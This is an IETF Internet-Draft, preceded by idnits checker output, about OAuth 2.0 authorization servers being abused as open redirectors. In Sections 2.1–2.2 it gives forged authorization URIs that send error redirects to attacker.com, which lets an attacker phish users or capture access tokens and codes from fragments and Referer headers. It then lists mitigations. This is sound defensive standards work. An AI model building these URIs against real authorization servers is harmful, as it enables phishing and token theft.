idnits 2.17.1 draft-bradley-oauth-open-redirector-00.txt: Checking boilerplate required by RFC 5378 and the IETF Trust (see https://trustee.ietf.org/license-info): ---------------------------------------------------------------------------- No issues found here. Checking nits according to https://www.ietf.org/id-info/1id-guidelines.txt: ---------------------------------------------------------------------------- No issues found here. Checking nits according to https://www.ietf.org/id-info/checklist : ---------------------------------------------------------------------------- ** The document seems to lack a Security Considerations section. ** The document seems to lack an IANA Considerations section. (See Section 2.2 of https://www.ietf.org/id-info/checklist for how to handle the case when there are no actions for IANA.) Miscellaneous warnings: ---------------------------------------------------------------------------- == The copyright year in the IETF Trust and authors Copyright Line does not match the current year -- The document date (January 21, 2015) is 3376 days in the past. Is this intentional? Checking references for intended status: Proposed Standard ---------------------------------------------------------------------------- (See RFCs 3967 and 4897 for information about using normative references to lower-maturity documents in RFCs) ** Downref: Normative reference to an Informational RFC: RFC 6819 Summary: 3 errors (**), 0 flaws (~~), 1 warning (==), 1 comment (--). Run idnits with the --verbose option for more detailed information about the items above. -------------------------------------------------------------------------------- 2 OAuth Working Group J. Bradley 3 Internet-Draft Ping Identity 4 Intended status: Standards Track A. Sanso, Ed. 5 Expires: July 25, 2015 Adobe Systems 6 H. Tschofenig 8 January 21, 2015 10 OAuth 2.0 Security: OAuth Open Redirector 11 draft-bradley-oauth-open-redirector-00.txt 13 Abstract 15 This document gives additional security considerations for OAuth, 16 beyond those in the OAuth 2.0 specification and in the OAuth 2.0 17 Threat Model and Security Considerations. 19 Status of This Memo 21 This Internet-Draft is submitted in full conformance with the 22 provisions of BCP 78 and BCP 79. 24 Internet-Drafts are working documents of the Internet Engineering 25 Task Force (IETF). Note that other groups may also distribute 26 working documents as Internet-Drafts. The list of current Internet- 27 Drafts is at http://datatracker.ietf.org/drafts/current/. 29 Internet-Drafts are draft documents valid for a maximum of six months 30 and may be updated, replaced, or obsoleted by other documents at any 31 time. It is inappropriate to use Internet-Drafts as reference 32 material or to cite them other than as "work in progress." 34 This Internet-Draft will expire on July 25, 2015. 36 Copyright Notice 38 Copyright (c) 2015 IETF Trust and the persons identified as the 39 document authors. All rights reserved. 41 This document is subject to BCP 78 and the IETF Trust's Legal 42 Provisions Relating to IETF Documents 43 (http://trustee.ietf.org/license-info) in effect on the date of 44 publication of this document. Please review these documents 45 carefully, as they describe your rights and restrictions with respect 46 to this document. Code Components extracted from this document must 47 include Simplified BSD License text as described in Section 4.e of 48 the Trust Legal Provisions and are provided without warranty as 49 described in the Simplified BSD License. 51 Table of Contents 53 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 54 1.1. Notational Conventions . . . . . . . . . . . . . . . . . 2 55 1.2. Terminology . . . . . . . . . . . . . . . . . . . . . . . 3 56 2. Authorization Server Error Response . . . . . . . . . . . . . 3 57 2.1. Abuse: The Authorization Server As Open Redirector . . . 3 58 2.2. Security Compromise: The Authorization Server As Open 59 Redirector . . . . . . . . . . . . . . . . . . . . . . . 4 60 2.3. Mitigation . . . . . . . . . . . . . . . . . . . . . . . 5 61 3. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . 6 62 4. Normative References . . . . . . . . . . . . . . . . . . . . 6 63 Appendix A. Document History . . . . . . . . . . . . . . . . . . 6 64 Authors' Addresses . . . . . . . . . . . . . . . . . . . . . . . 7 66 1. Introduction 68 This document gives additional security considerations for OAuth, 69 beyond those in the OAuth 2.0 specification [RFC6749] and in the 70 OAuth 2.0 Threat Model and Security Considerations [RFC6819]. In 71 particular focuses its attention on the risk of abuse the 72 Authorization Server (AS) (Section 1.2) as an open redirector. 74 It contains the following content: 76 o Describes the Authorization Server Error Response as defined in 77 [RFC6749]. 78 o Describes the risk of abuse the Authorization Server as an open 79 redirector. 80 o Gives some mitigation details on how to hinder the risk of open 81 redirector in the ?AS?. 83 1.1. Notational Conventions 85 The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", 86 "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this 87 document are to be interpreted as described in RFC 2119 [RFC2119]. 89 Unless otherwise noted, all the protocol parameter names and values 90 are case sensitive. 92 1.2. Terminology 94 Authorization Server (AS) 95 The server issuing access tokens to the client after successfully 96 authenticating the resource owner and obtaining authorization. 98 Redirection endpoint 99 Used by the authorization server to return responses containing 100 authorization credentials to the client via the resource owner 101 user-agent. 103 2. Authorization Server Error Response 105 The OAuth 2.0 specification [RFC6749] defines the Error Response 106 associated with the Authorization Code Grant flow and the Implicit 107 Grant flow. Both flows use a redirection endpoint where the resource 108 owner's user agent is directed after the resource owner has completed 109 interacting with the authorization server. The redirection endpoint 110 is also used in the error response scenario. As per RFC6749 111 Section 4.1.2.1 and 4.2.2.1 [RFC6749] if the resource owner denies 112 the access request or if the request fails for reasons other than a 113 missing or invalid redirection URI, the ?AS? redirects the user-agent 114 by sending the following HTTP response: 116 HTTP/1.1 302 Found Location: https://client.example.com/ 117 cb?error=access_denied 119 2.1. Abuse: The Authorization Server As Open Redirector 121 As described in [RFC6819] an attacker could utilize a user's trust in 122 an ?AS? to launch a phishing attack. The attack described here 123 though is not mitigated using the countermeasures listed in 124 [RFC6819]. In this scenario the attacker: 126 o Performs a client registration as per the core specification 127 [RFC6749]. The provided redirection URI is a malicious one e.g. 128 https://attacker.com (namely the one where the victim's user agent 129 will land without any validation) 131 o Prepare a forged URI using the assumption that the ?AS? complies 132 with the OAuth 2.0 specification [RFC6749]. In particular with 133 the ?AS? Error Response described in the previous section ( 134 Section 2 ). As an example he can use a wrong or not existing 135 scope e.g. 137 https://AUTHORIZATION_SERVER/authorize?response_type=code&client_i 138 d=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fattacker%2Ecom&s 139 cope=INVALID_SCOPE 141 o Attempt the pishing attack trying to have the victim clicking the 142 forged URI prepared on the previous step. Should the attack 143 succeeds the victim's user agent is redirected to 144 https://attacker.com (all with any user interaction) The HTTP 145 referer header will be set to the AS domain perhaps allowing 146 manipulation of the user. 148 2.2. Security Compromise: The Authorization Server As Open Redirector 150 The attacker can use a redirect error redirection to intercept 151 redirect based protocol messages via the Referer header and URI 152 fragment. In this scenario the attacker: 154 o Performs a registration of a malicious client as per the core 155 specification [RFC6749]. The provided redirection URI is a 156 malicious one e.g. https://attacker.com (This URI will capture 157 the fragment and referrer header sent as part of the error) 159 o Creates a invalid Authentication request URI for the malicious 160 client. As an example he can use a wrong or not existing scope 161 e.g. 163 https://AUTHORIZATION_SERVER/authorize?response_type=code&client_i 164 d=malicious_client&redirect_uri=https%3A%2F%2Fattacker%2Ecom&scope 165 =INVALID_SCOPE 167 o Performs a OAuth Authorization request using the invalid 168 Authorization request as the redirect_uri. This works if the AS 169 is pattern matching redirect_uri and has a public client that 170 shares the same domain as the AS. 172 (line breaks for display only) 173 https://AUTHORIZATION_SERVER/authorize?response_type=token 174 &client_id=good-client&scope=VALID_SCOPE 175 &redirect_uri=https%3A%2F%2AUTHORIZATION_SERVER%Fauthorize 176 %3Fresponse_type%3Dcode 177 %26client_id%3Dattacker-client-id 178 %26scope%3DINVALID_SCOPE 179 %26redirect_uri%3Dhttps%253A%252F%252Fattacker.com 181 Figure 1 183 o Receive the response redirected to https://attacker.Com 185 The legitimate OAuth Authorization response will include an access 186 token in the URI fragment. 188 Most web browsers will append the fragment to the URI sent in the 189 location header of a 302 response if no fragment is included in the 190 location URI. 192 If the Authorization request is code instead of token, the same 193 technique is used, but the code is leaked by the browser in the 194 referer header rather than the fragment. 196 This causes the access token from a successful authorization to be 197 leaked across the redirect to the malicious client. This is due to 198 browser behaviour and not because the AS has included any information 199 in the redirect URI other than the error code. 201 Protocols other than OAuth may be particularly vulnerable to this if 202 they are only verifying the domain of the redirect. Performing exact 203 redirect URI matching in OAuth will protect the AS, but not other 204 protocols. 206 It should be noted that a legitimate OAuth client registered with a 207 AS might be compromised and used as a redirect target by an attacker, 208 perhaps without the knowledge of the client site. This increases a 209 the attack surface for a ?AS?. 211 2.3. Mitigation 213 In order to defend against the attacks described in Section 2.1 and 214 Section 2.2 the ?AS? can either: 216 o Respond with an HTTP 400 (Bad Request) status code. 218 o Perform a redirect to an intermediate URI under the controll of 219 the AS to clear referer information in the browser that may 220 contain security token information. This page SHOULD provide 221 notice to the resource owner that an error occurred, and request 222 permission to redirect them to an external site. 224 If redirected, the fragment "#_=_" MUST be appended to the error 225 redirect URI. This prevents the browser from reattaching the 226 fragment from a previous URI to the new location URI. 228 3. Acknowledgements 230 We would like to thank all the people that partecipated to the 231 discussion, namely Bill Burke, Hans Zandbelt, Justin P. Richer, Phil 232 Hunt, Takahiko Kawasaki, Torsten Lodderstedt, Sergey Beryozkin. 234 4. Normative References 236 [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate 237 Requirement Levels", BCP 14, RFC 2119, March 1997. 239 [RFC6749] Hardt, D., "The OAuth 2.0 Authorization Framework", RFC 240 6749, October 2012. 242 [RFC6819] Lodderstedt, T., McGloin, M., and P. Hunt, "OAuth 2.0 243 Threat Model and Security Considerations", RFC 6819, 244 January 2013. 246 Appendix A. Document History 248 [[ to be removed by the RFC Editor before publication as an RFC ]] 250 -00 252 o Wrote the first draft. 254 o Changed Document name to conform to WG naming convention 256 o Added Section on redirect leaking security information 258 o Added Terminology section 260 o fixed file name 262 o cleaned up mitigations a bit 264 Authors' Addresses 266 John Bradley 267 Ping Identity 269 Email: ve7jtb@ve7jtb.com 270 URI: http://www.thread-safe.com/ 272 Antonio Sanso (editor) 273 Adobe Systems 275 Email: asanso@adobe.com 277 Hannes Tschofenig 279 Email: Hannes.Tschofenig@gmx.net 280 URI: http://www.tschofenig.priv.at